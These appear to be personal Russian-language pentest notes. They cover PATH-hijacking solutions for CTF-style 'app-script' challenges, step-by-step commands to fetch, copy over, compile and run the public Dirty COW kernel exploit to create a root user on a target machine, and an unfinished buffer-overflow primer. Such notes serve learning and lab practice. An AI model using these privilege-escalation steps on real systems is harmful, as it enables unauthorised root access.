## $PATH имеет в себе путь /usr/home ***Warning: Всё может поломаться. В системе отвалятся ls и cat (или ls и текстовый редактор), но до перезапуска оболочки*** ### Условия выполнения: 1. Создание файлов в дирректории, рядом с флагом 2. Уз принадлежит группе, где флаг: ``` -r-------- 1 app-script-ch11-cracked app-script-ch11 14 Dec 10 2021 .passwd ``` ### Выполнение: #### Исполнение на cat **Подготовка:** ``` #Поиск мест, которые нам доступны в системе. Там создадим файлик для $PATH: find / -xdev -type d -writable 2> /dev/null find / -type d -writable 2> /dev/null ``` Сам файлик с кодом, который нужно создать рядом с файлом-флагом: Поменять путь system("ls /challenge/app-script/ch11/.passwd"); ``` #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main(void) { setreuid(geteuid(), geteuid()); system("ls /challenge/app-script/ch11/.passwd"); return 0; } ``` Выполнить команды: ``` #Скопируем cat из стандартного каталога для программ /bin, в /tmp под названием ls cp /bin/cat /var/tmp/payload #Теперь изменим переменную PATH, добавив туда путь к нашему ls(cat) export PATH=/var/tmp/payload:$PATH #СТАРТУЕМ ./file.sh ``` $PATH - сбросится после переподключения. Это переменная оболочки #### Исполнение на vim **Подготовка:** ``` #Првоерка vim и nano ls /usr/bin | grep nano ls /usr/bin | grep vim #Поиск мест, которые нам доступны в системе. Там создадим файлик для $PATH: find / -xdev -type d -writable 2> /dev/null find / -type d -writable 2> /dev/null ``` Сам файлик с кодом, который нужно создать рядом с файлом-флагом: Поменять путь system("ls -lA /challenge/app-script/ch12/.passwd"); ``` #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main(){ setreuid(geteuid(), geteuid()); system("ls -lA /challenge/app-script/ch12/.passwd"); return 0; } ``` **Тут используется ключ -lA Он перевернёт всю строку. С ним не умеет работать cat, но умеет nano** Выполнить команды: ``` mkdir /var/tmp/my cp /usr/bin/vim /var/tmp/my/ls export PATH=/var/tmp/my/:$PATH ./file.sh ``` ## Exploit Dirty COW ***Warning: Выполнить скрипт можно будет один раз. Поэтому, забыв пароль, можно забыть про этот вектор атаки :D*** ### Условия выполнения: Версия ядра linux < 4.8, 4.7, 4.4 Несколько версий из-за того, что уязвимость починили не сразу Починили с помощью добавления флага FOLL_COW Узнать версию ядра: ``` uname -r uname -a cat /proc/version cat /proc/cmdline ls /boot | grep vmlinuz hostnamectl hostnamectl | grep -i kernel ``` ### Описаине: Уязвимость ядра linux Dirty COW получает свое название от механизма копирования при записи (COW) в системе управления памятью ядра. Вредоносные программы могут потенциально устанавливать условие состязания, чтобы преобразовать отображение файла только для чтения в доступное для записи отображение. В момент выполнения скрипта будет нужно ввести новый пароль. После выполнения скрипта будет создан новый пользователь: firefart, которому будут присвоены такие значения id ``` firefart@debian:~# id uid=0(firefart) gid=0(root) groups=0(root) ``` Дальше останется только зайти под новым пользователем ### Выполнение: Нужно закинуть папку и установить chmod +x ``` # Подготовка на kali: ip="192.168.0.1" mkdir ~/Attacks/DirtyCOW" && cd "~/Attacks/DirtyCOW" git clone https://github.com/firefart/dirtycow.git scp -r ~/Attacks/DirtyCOW user@$ip:/home/user/temp ssh user@$ip # На атакуемой машине: chmod +x dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty ``` ## Переполнение буфера Буфер - динамически выделяемая область памяти для хранения временных данных Переполнение Буфера - вид уязвимости, когда программа записывает данные за пределы выделенной памяти, вызывая при этом сбой программы или выполнение вредоносного кода ![](https://hackmd.io/_uploads/Hy33ehJin.png) Под данные выделено N байт, а пользователь пытается засунуть в данные 5 байт. Тогда ОС выходит за "рамки" и цепляет другие переменные ***Размер данных всегда нужно проверять перед помещением их в буфер*** Типы атак: 1. Stack overflow - атака переполенния стека 2. Heap overflow - атака переполнения кучи 3. Format overflow - атака форматирования строки ### Stack overflow Стэк: 1. Хранит аргументы и значения переменных функций 2. Последний пришёл, первый ушёл 3. Растёт от высших адресов, к нисшим. ***Регистры процессора*** 1. ESP - Extended Stack Pointer - вершина стэка 2. EBP - Extended Base Pointer - доступ к данным в стэке 3. EIP - Extended Instruction Pointer адресс следующей инструкции для выполнения Если получится перезаписать EBP, то программа не сможет выполнять инструкции правильно ###Heap overflow ###Format overflow